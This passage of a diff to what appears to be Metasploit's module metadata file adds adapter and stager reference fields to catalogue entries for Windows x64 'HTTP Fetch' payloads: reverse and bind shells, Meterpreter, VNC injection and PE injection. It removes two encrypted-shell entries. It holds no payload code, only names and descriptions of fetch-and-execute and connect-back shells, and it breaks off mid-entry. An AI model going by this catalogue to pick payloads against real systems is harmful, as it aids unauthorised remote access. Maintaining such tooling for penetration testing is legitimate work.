Stager (RC4 Stage Encryption, Metasm)", @@ -187467,7 +188727,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/http/x64/custom/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -187504,7 +188770,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/http/x64/custom/reverse_winhttp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -187540,7 +188812,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/http/x64/custom/reverse_winhttps": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -187576,79 +188854,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": { - "name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/http/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/http/x64/encrypted_shell_reverse_tcp": { - "name": "HTTP Fetch, Windows Encrypted Reverse Shell", - "fullname": "payload/cmd/windows/http/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Brendan Watters", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Fetch and Execute an x64 payload from an http server.\n\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2023-03-15 19:19:19 +0000", - "path": "/modules/payloads/adapters/cmd/windows/http/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/http/x64/encrypted_shell_reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/custom/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/http/x64/exec": { "name": "HTTP Fetch, Windows x64 Execute Command", @@ -187683,7 +188895,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/exec", + "staged": false }, "payload_cmd/windows/http/x64/loadlibrary": { "name": "HTTP Fetch, Windows x64 LoadLibrary Path", @@ -187719,7 +188935,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/loadlibrary", + "staged": false }, "payload_cmd/windows/http/x64/messagebox": { "name": "HTTP Fetch, Windows MessageBox x64", @@ -187754,7 +188974,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/messagebox", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -187792,7 +189016,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -187830,7 +189060,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/http/x64/meterpreter/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -187869,7 +189105,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", @@ -187907,7 +189149,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/http/x64/meterpreter/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -187949,7 +189197,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/http/x64/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -187987,7 +189241,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/http/x64/meterpreter/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -188025,7 +189285,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/http/x64/meterpreter/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -188066,7 +189332,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/http/x64/meterpreter/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -188104,7 +189376,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", @@ -188142,7 +189420,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -188184,7 +189468,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -188222,7 +189512,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", @@ -188260,7 +189556,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -188298,7 +189600,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, "payload_cmd/windows/http/x64/meterpreter_bind_named_pipe": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", @@ -188336,7 +189644,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter_bind_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", @@ -188373,7 +189685,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", @@ -188410,7 +189726,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", @@ -188447,7 +189767,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", @@ -188484,7 +189808,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/windows/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", @@ -188521,7 +189849,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -188557,7 +189889,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -188594,7 +189932,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/http/x64/peinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -188630,7 +189974,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/http/x64/peinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", @@ -188666,7 +190016,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/http/x64/peinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -188707,7 +190063,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/http/x64/peinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -188744,7 +190106,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/http/x64/peinject/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -188780,7 +190148,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_cmd/windows/http/x64/peinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", @@ -188816,7 +190190,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/http/x64/peinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -188857,7 +190237,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/http/x64/peinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", @@ -188894,7 +190280,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/peinject/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/peinject", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Pingback, Reverse TCP Inline", @@ -188929,7 +190321,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/windows/http/x64/powershell_bind_tcp": { "name": "HTTP Fetch", @@ -188966,7 +190362,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_bind_tcp", + "staged": false }, "payload_cmd/windows/http/x64/powershell_reverse_tcp": { "name": "HTTP Fetch", @@ -189003,7 +190403,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, "payload_cmd/windows/http/x64/powershell_reverse_tcp_ssl": { "name": "HTTP Fetch", @@ -189040,7 +190444,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", @@ -189075,7 +190483,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -189111,7 +190525,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/http/x64/shell/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", @@ -189147,7 +190567,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", @@ -189182,7 +190608,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/http/x64/shell/bind_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -189222,7 +190654,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/http/x64/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", @@ -189258,7 +190696,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", @@ -189293,7 +190737,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/http/x64/shell/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -189333,7 +190783,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_cmd/windows/http/x64/shell/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", @@ -189369,7 +190825,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_cmd/windows/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Inline", @@ -189404,7 +190866,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/windows/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", @@ -189439,7 +190905,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", @@ -189475,7 +190945,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_cmd/windows/http/x64/vncinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -189512,7 +190988,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_cmd/windows/http/x64/vncinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", @@ -189549,7 +191031,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_cmd/windows/http/x64/vncinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", @@ -189585,7 +191073,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, "payload_cmd/windows/http/x64/vncinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -189626,7 +191120,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_cmd/windows/http/x64/vncinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", @@ -189663,7 +191163,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_cmd/windows/http/x64/vncinject/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -189700,7 +191206,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_http", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_http" }, "payload_cmd/windows/http/x64/vncinject/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", @@ -189739,7 +191251,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_https", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_https" }, "payload_cmd/windows/http/x64/vncinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", @@ -189775,7 +191293,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_cmd/windows/http/x64/vncinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -189816,7 +191340,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/http/x64", + "adapted_refname": "windows/x64/vncinject/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": 